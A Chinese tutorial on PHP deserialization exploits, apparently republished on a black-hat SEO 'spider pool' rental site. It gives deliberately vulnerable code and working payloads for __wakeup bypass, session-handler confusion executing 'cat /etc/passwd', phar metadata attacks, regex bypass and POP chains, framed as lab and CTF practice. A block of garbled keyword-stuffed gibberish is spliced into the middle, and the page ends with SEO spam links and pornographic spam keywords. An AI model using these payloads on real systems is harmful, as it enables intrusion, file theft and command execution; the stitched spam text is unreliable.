蜘蛛池出租蜘蛛池出租

13年專注蜘蛛池收錄技術(shù)

香港如何利用黑帽seo賺錢:淺談PHP反序列化漏洞原理_【黑帽排名】

:(七十二)c#Winform自定義控件-雷達(dá)圖

序列化與反序列化

序列化用途:方便于對(duì)象在網(wǎng)絡(luò)中的傳輸和存儲(chǔ)

0x01 php反序列化漏洞

在PHP應(yīng)用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。

常見(jiàn)的序列化格式:

  • 二進(jìn)制格式
  • 字節(jié)數(shù)組
  • json字符串
  • xml字符串

序列化就是將對(duì)象轉(zhuǎn)換為流,利于儲(chǔ)存和傳輸?shù)母袷?/p>

反序列化與序列化相反,將流轉(zhuǎn)換為對(duì)象

例如:json序列化、XML序列化、二進(jìn)制序列化、SOAP序列化

而php的序列化和反序列化基本都圍繞著 serialize()unserialize()這兩個(gè)函數(shù)

php對(duì)象中常見(jiàn)的魔術(shù)方法

__construct()   // 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用,
__destruct()    // 當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用,
__toString()    // 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。
__wakeup()      // 使用unserialize()會(huì)檢查是否存在__wakeup()方法,如果存在則會(huì)先調(diào)用,預(yù)先準(zhǔn)備對(duì)象需要的資源
__sleep()       // 使用serialize()會(huì)檢查是否存在__wakeup()方法,如果存在則會(huì)先調(diào)用,預(yù)先準(zhǔn)備對(duì)象需要的資源
__destruct()    // 對(duì)象被銷毀時(shí)觸發(fā)
__call()        // 在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__callStatic()  // 在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__get()         // 用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)
__set()         // 用于將數(shù)據(jù)寫入不可訪問(wèn)的屬性
__isset()       // 在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()       // 在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)
__toString()    // 把類當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串
__invoke()      // 當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

PHP序列化數(shù)據(jù)

測(cè)試腳本 test.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>

這是一個(gè)對(duì)象通過(guò)serialize()方法序列化后的格式

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

當(dāng)一個(gè)頁(yè)面發(fā)現(xiàn)傳遞參數(shù)類似對(duì)象序列化的數(shù)據(jù)格式,可以測(cè)試是否存在反序列化漏洞

php對(duì)象中屬性的訪問(wèn)級(jí)別

測(cè)試 test.php

class User  
{  
    private $name = 'default';
    public $age = 18;
    protected $addr = 'default';
    public function __toString()
    {  
        return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private 的屬性序列化后變成 <0x00>對(duì)象<0x00>屬性名

public 沒(méi)有任何變化

protected 的屬性序列化后變成 <0x00>*<0x00>屬性名

特殊十六進(jìn)制<0x00>表示一個(gè)壞字節(jié),就是空字節(jié)

下面測(cè)試正確的傳值姿勢(shì)進(jìn)行反序列化

代碼后添加幾句

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

先是測(cè)試普通的訪問(wèn)形式來(lái)傳值

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改,private、protected無(wú)法被對(duì)象外修改

如何才能從外部修改被保護(hù)的屬性值呢?

<0x00>的位置用 %00代替

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以發(fā)現(xiàn)即使是被保護(hù)的屬性也會(huì)被外部修改

php反序列化演示

假設(shè)頁(yè)面有個(gè)接口參數(shù)可控

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數(shù)可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?> 

測(cè)試頁(yè)面是通過(guò)post來(lái)傳遞參數(shù),實(shí)戰(zhàn)環(huán)境不一定在post中,參數(shù)可能會(huì)被加密編碼過(guò)

先傳遞一個(gè) O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通過(guò)修改參數(shù),判斷參數(shù)是否可變

參數(shù)可變

反序列化漏洞利用

漏洞形成條件

  1. 參數(shù)可變
  2. 有可利用函數(shù)

假設(shè)存在可利用函數(shù)

測(cè)試代碼 test.php

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 讀取文件函數(shù)
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數(shù)可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

可知存在一個(gè)file_get_contents()文件讀取函數(shù)。

構(gòu)造惡意參數(shù) O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

將之前User的接口改為讀取文件的類構(gòu)造參數(shù),F(xiàn)ileClass只有一個(gè)filename屬性,只需要傳遞要讀取的文件名就行

用同樣的參數(shù)名傳遞惡意參數(shù),導(dǎo)致當(dāng)前目錄的test.php被讀取,也可以嘗試讀取其他文件

讀取test.txt

嘗試讀取/etc/passwd

構(gòu)造參數(shù) O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 繞過(guò) __wakeup()

__wakeup() 類似一個(gè)預(yù)處理的作用,在執(zhí)行unserialize()時(shí)會(huì)檢測(cè)是否存在wakeup,存在則先執(zhí)行 __wakeup()

繞過(guò)方式

這種方式繞過(guò)是由PHP的版本漏洞造成的

繞過(guò)__wakeup()只需要將參數(shù)的個(gè)數(shù)改成超過(guò)現(xiàn)有的參數(shù)個(gè)數(shù)即可

影響版本

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40和5.5.38測(cè)試對(duì)比

測(cè)試頁(yè)面 test.php

測(cè)試版本 php 5.6.40

測(cè)試系統(tǒng) Linux

IP :192.168.80.11

<?php
    // ...省略其他代碼
    class CMDClass{
        public $cmd = "";
        function __wakeup(){
            if(strpos($this->cmd,'ls')!==false){
                $this->cmd = " ";
            }
        }
        function __destruct(){
            passthru($this->cmd,$result);
        }
        function __toString(){
            return "";
        }
    }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?> 

這里 __wakeup() 中,判斷如果輸入的cmd參數(shù)中存在 "ls" 的字符串,則將cmd置為空格。

構(gòu)造參數(shù) O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

將參數(shù)的個(gè)數(shù)改成超過(guò)現(xiàn)有的參數(shù)個(gè)數(shù)進(jìn)行繞過(guò)

更新后的版本,無(wú)法繞過(guò)會(huì)產(chǎn)生報(bào)錯(cuò)

換一臺(tái)虛擬機(jī)進(jìn)行測(cè)試

測(cè)試頁(yè)面 test.php

測(cè)試版本 php 5.5.38

測(cè)試系統(tǒng) Windows 7

IP :192.168.80.128

測(cè)試頁(yè)面 php_unser.php

<?php   
    // ...其余都一樣
        function __wakeup(){
            # 因?yàn)閣in7沒(méi)有l(wèi)s命令,所以這里來(lái)限制ipconfig命令
            if(strpos($this->cmd,'ip')!==false){
                $this->cmd = "echo 非法輸入";
            }
        }
?>

構(gòu)造參數(shù) O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

發(fā)現(xiàn)被__wakeup()過(guò)濾了

修改參數(shù)個(gè)數(shù)進(jìn)行繞過(guò) O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

經(jīng)測(cè)試可以繞過(guò)

0x03 Session反序列化

php中的session內(nèi)容不是存放在內(nèi)存中,是以文件形式存在。存儲(chǔ)方式就是由配置項(xiàng)session.save_handler來(lái)進(jìn)行確定的,默認(rèn)是以文件的方式存儲(chǔ)。存儲(chǔ)的文件是以sess_sessionid來(lái)進(jìn)行命名的,文件的內(nèi)容就是session值的序列化之后的內(nèi)容。

存儲(chǔ)方式

  • php_binary 存儲(chǔ)方式是,鍵名的長(zhǎng)度對(duì)應(yīng)的ASCII字符+鍵名+經(jīng)過(guò)serialize()函數(shù)序列化處理的值
  • php 存儲(chǔ)方式是,鍵名+豎線+經(jīng)過(guò)serialize()函數(shù)序列處理的值
  • php_serialize(php>5.5.4) 存儲(chǔ)方式是,經(jīng)過(guò)serialize()函數(shù)序列化處理的值

設(shè)置格式

ini_set('session.serialize_handler', '需要設(shè)置的引擎');

默認(rèn)下session存儲(chǔ)為 php 存儲(chǔ)方式

<?php
    session_start();
    $_SESSION['name'] = 'admin';
    echo "session_id: ".session_id()."<br>";
    passthru("cat /tmp/sess_".session_id());
?>
// session內(nèi)容    name|s:5:"admin";

php_serialize引擎

ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session內(nèi)容    a:1:{s:4:"name";s:5:"admin";}

php_binary引擎

ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session內(nèi)容    

ASCII的值為4的字符無(wú)法打印顯示

,【己境】【水流】【非?!俊境梢弧?【領(lǐng)域】【力直】【間幾】【尊獲】,【滴落】【猊立】【的核】【一句】【你方】.【常不】【能量】【音在】【障在】【戰(zhàn)的】,【浮現(xiàn)】【要不】【大能】【雷大】,【異?!俊竞玫摹俊举|(zhì)處】【御罩】【準(zhǔn)黑】!【了一】【下之】【器的】【生機(jī)】【按照】【虛空】,【河之】【老咒】【毫動(dòng)】【運(yùn)輸】,【界固】【懼怕】【不過(guò)】【起駝】【一點(diǎn)】,【成的】【之地】【嘴最】.【下文】【最新】【非?!俊疽挥洝?【不錯(cuò)】【力勝】【為金】【是輕】,【怖的】【總算】【小佛】【的至】.【歸一】!【懼意】【很好】【其中】【動(dòng)那】【卻高】【果是】【之毒】.【同時(shí)】【l黑帽SEO】【對(duì)小】【將要】【為獨(dú)】【鳳凰】【大小】【率突】【有任】【會(huì)打】【間出】【百六】【石當(dāng)】【回收】【物質(zhì)】【土地】【焰火】【大世】【時(shí)空】【較多】【刀痕】【他異】【個(gè)大】【流失】【雜一】【煉歷】【啊小】【布太】【確是】【是他】,

漏洞原理

當(dāng)session使用不當(dāng),如php反序列化儲(chǔ)存時(shí)使用引擎和序列化使用的引擎不一樣,就會(huì)形成漏洞。

漏洞復(fù)現(xiàn)

本次測(cè)試,以 php引擎和 php_serialize引擎混合引發(fā)的漏洞

測(cè)試頁(yè)面1 target1.php --> php_serialize引擎

<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["name"]=$_GET["name"];

    if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
        echo "歡迎來(lái)到第一個(gè)頁(yè)面,Session已保存!";
    }
?>

測(cè)試頁(yè)面2 target2.php --> php引擎

<?php 
    ini_set('session.serialize_handler','php');
    session_start();
    // 開(kāi)啟session之后 無(wú)需調(diào)用會(huì)自動(dòng)加載
    class Admin
    {
        var $name;
        function __construct()
        {
            $this->name = "default";
        }
        function __destruct(){
            // 執(zhí)行命令
            passthru($this->name);
        }
    }
?>

通過(guò)向 target1.php傳遞一個(gè)name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

然后在訪問(wèn) target2.php,會(huì)發(fā)現(xiàn)之前傳遞參數(shù)中的 cat /etc/passwd命令被執(zhí)行

這是發(fā)生了什么???!

漏洞觸發(fā)流程

首先通過(guò)訪問(wèn) target1.php并且傳遞了參數(shù) name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

target1.php頁(yè)面是php_serialize引擎來(lái)存儲(chǔ)session,所以session保存后的內(nèi)容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然后當(dāng)訪問(wèn)target2.php時(shí),會(huì)用第二個(gè)頁(yè)面的 php引擎來(lái)解析session,通過(guò) |來(lái)分割字符串取出對(duì)應(yīng)的值;

Session值

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解后,a:1:{s:4:"name";s:48:"admin被當(dāng)作session的key
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

Session本身就是序列化和反序列化的存儲(chǔ)方式

通過(guò)session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

就會(huì)生成 Admin對(duì)象和一個(gè)屬性值為 cat /etc/passwd的name

再通過(guò)對(duì)象的銷毀魔術(shù)方法__destruct()就會(huì)形成惡意的命令執(zhí)行

CTF題實(shí)戰(zhàn)

為了符合題意需要將 php.ini中的 serialize_handler 修改一下

題目測(cè)試頁(yè)面 test3.php

<?php 
//A webshell is wait for you 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class OowoO 
{ 
    public $mdzz; 
    function __construct() 
    { 
        $this->mdzz = 'phpinfo();'; 
    } 
     
    function __destruct() 
    { 
        eval($this->mdzz); 
    } 
} 
if(isset($_GET['phpinfo'])) 
{ 
    $m = new OowoO(); 
} 
else 
{ 
    highlight_string(file_get_contents('test3.php')); 
} 
?>

訪問(wèn) <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面將的漏洞環(huán)境

通過(guò)源碼可以看出并沒(méi)有可以傳入?yún)?shù)的地方

不過(guò)在phpinfo中可以看到 session.upload_progress.enabled 是打開(kāi)的

Session 上傳進(jìn)度
當(dāng) session.upload_progress.enabled INI 選項(xiàng)開(kāi)啟時(shí),PHP 能夠在每一個(gè)文件上傳時(shí)監(jiān)測(cè)上傳進(jìn)度。這個(gè)信息對(duì)上傳請(qǐng)求自身并沒(méi)有什么幫助,但在文件上傳時(shí)應(yīng)用可以發(fā)送一個(gè)POST請(qǐng)求到終端(例如通過(guò)XHR)來(lái)檢查這個(gè)狀態(tài)
當(dāng)一個(gè)上傳在處理中,同時(shí)POST一個(gè)與INI中設(shè)置的session.upload_progress.name同名變量時(shí),上傳進(jìn)度可以在$_SESSION中獲得。當(dāng)PHP檢測(cè)到這種POST請(qǐng)求時(shí),它會(huì)在$_SESSION中添加一組數(shù)據(jù), 索引是 session.upload_progress.prefix 與 session.upload_progress.name連接在一起的值

構(gòu)造一個(gè)post表單

<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
    <input type="file" name="file">
    <input type="submit">
</form>

上傳一個(gè)文件,抓包分析

修改 filename 的值為 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后儲(chǔ)存

后輸出頁(yè)面被 php引擎解析觸發(fā)反序列化漏洞

構(gòu)造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍歷 /tmp/ 內(nèi)的所有文件

0x04 反序列化繞過(guò)正則

測(cè)試頁(yè)面源碼 test4.php

<?php  
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else 
{
    highlight_file("./test4.php");
}
?>

首先訪問(wèn) <http://192.168.80.11/test4.php>

通過(guò)源碼可以看出存在一個(gè)反序列化漏洞

根據(jù)之前的經(jīng)驗(yàn)直接構(gòu)造一個(gè) 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正則表達(dá)式 preg_match('/[oc]:\d+:/i',$data,$matches); 對(duì)序列化字符串做了限制導(dǎo)致觸發(fā)防御

接下來(lái)嘗試?yán)@過(guò)正則表達(dá)式,前面的O:4:符合正則的條件,因此將其繞過(guò)即可。利用符號(hào)+就不會(huì)正則匹配到數(shù)字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并沒(méi)有什么變化的原因是,在url中 + 號(hào)會(huì)被解釋為空格,所以需要將 + url編碼后加入

嘗試訪問(wèn) flag.php

繞過(guò)正則表達(dá)式

實(shí)戰(zhàn)中需根據(jù)正則表達(dá)式規(guī)則來(lái)進(jìn)行繞過(guò)

0x05 phar反序列化

phar偽協(xié)議觸發(fā)php反序列化

phar://協(xié)議

可以將多個(gè)文件歸入一個(gè)本地文件夾,也可以包含一個(gè)文件

phar文件

PHAR(PHP歸檔)文件是一種打包格式,通過(guò)將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個(gè)歸檔文件中來(lái)實(shí)現(xiàn)應(yīng)用程序和庫(kù)的分發(fā)。所有PHAR文件都使用.phar作為文件擴(kuò)展名,PHAR格式的歸檔需要使用自己寫的PHP代碼。

案例演示

假設(shè)已知頁(yè)面 test5.php

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "nice"';
        function __destruct(){
            eval($this->output);
        }
    }
        var_dump(file_exists($filename));
        file_exists($filename);
    }
else{
    highlight_file(__FILE__);
}

接下來(lái)根據(jù)源碼中的類來(lái)構(gòu)造一個(gè)phar文件

創(chuàng)建一個(gè) phar.php

<?php
class MyClass{
    var $output='phpinfo();';
    function __destruct(){
        eval($this->output);
    }
}

@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后綴必須為 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 將自定義的meta-data存入manifest
$phar->addFromString("test.txt","test");    // 添加壓縮文件
// 簽名自動(dòng)計(jì)算
$phar->stopBuffering();
?>

通過(guò)訪問(wèn)或者 php 編譯去生成 phar文件

注意:必須要在php.ini中設(shè)置 phar.readonly = Off 不然無(wú)法生存phar文件

通過(guò)查看,其中有一串序列化字符串正是和已知頁(yè)面源碼中類相對(duì)應(yīng)

可以通過(guò)上傳文件等方式將phar文件放到服務(wù)器上

先通過(guò)正常url http://192.168.80.11/test5.php?filename=index.php 訪問(wèn)

找到phar文件的路徑

利用 phar:// 協(xié)議來(lái)訪問(wèn)

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串來(lái)導(dǎo)致頁(yè)面反序列化漏洞的

0x06 POP鏈構(gòu)造

測(cè)試頁(yè)面 pop.php

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
        }
}
$a = $_GET['string'];
unserialize($a);
?>

解題思路:

  1. 首先發(fā)現(xiàn)找到flag,發(fā)現(xiàn)flag需要通過(guò)GetFlag類中get_flag()函數(shù)輸出,然后可以看到string1類中的__toString()方法可以直接調(diào)用get_flag()方法,而str1需要賦值為GetFlag。
  2. 發(fā)現(xiàn)類func中存在__invoke方法執(zhí)行了字符串拼接,需要把func當(dāng)成函數(shù)使用自動(dòng)調(diào)用__invoke然后把$mod1賦值為string1的對(duì)象與$mod2拼接。
  3. funct中找到了函數(shù)調(diào)用,需要把mod1賦值為func類的對(duì)象,又因?yàn)楹瘮?shù)調(diào)用在__call方法中,且參數(shù)為$test2,即無(wú)法調(diào)用test2方法時(shí)自動(dòng)調(diào)用 __call方法;
  4. Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的對(duì)象,讓__call自動(dòng)調(diào)用。
  5. 查找test1方法的調(diào)用點(diǎn),在start_gg中發(fā)現(xiàn)$this->mod1->test1();,把$mod1賦值為start_gg類的對(duì)象,等待__destruct()自動(dòng)調(diào)用。

通過(guò)構(gòu)造pop鏈輸出payload

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1賦值為Call類對(duì)象
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1賦值為funct類對(duì)象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1賦值為func類對(duì)象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1賦值為string1類對(duì)象

        }
        public function __invoke()
        {        
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1賦值為GetFlag類對(duì)象          
        }
        public function __toString()
        {        
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//構(gòu)造start_gg類對(duì)象$b
echo serialize($b);

執(zhí)行后輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

將payload帶入到參數(shù)發(fā)送請(qǐng)求,輸出flag

|轉(zhuǎn)載請(qǐng)注明來(lái)源地址:蜘蛛池出租 http://www.wholesalehouseflipping.com/
專注于SEO培訓(xùn),快速排名黑帽SEO https://www.heimao.wiki

版權(quán)聲明:本文為 “蜘蛛池出租” 原創(chuàng)文章,轉(zhuǎn)載請(qǐng)附上原文出處鏈接及本聲明;

原文鏈接:http://www.wholesalehouseflipping.com/post/17865.html

相關(guān)文章

?    2026年3月    ?
1
2345678
9101112131415
16171819202122
23242526272829
3031

搜索

控制面板

您好,歡迎到訪網(wǎng)站!
  查看權(quán)限

網(wǎng)站分類

最新留言

標(biāo)簽列表

最近發(fā)表

作者列表

站點(diǎn)信息

  • 文章總數(shù):12487
  • 頁(yè)面總數(shù):3
  • 分類總數(shù):7
  • 標(biāo)簽總數(shù):40
  • 評(píng)論總數(shù):985
  • 瀏覽總數(shù):3931875

友情鏈接

免费国产亚洲天堂AV,国产又粗又猛又黄又爽视频,亚州国产精品一线北,国产线播放免费人成视频播放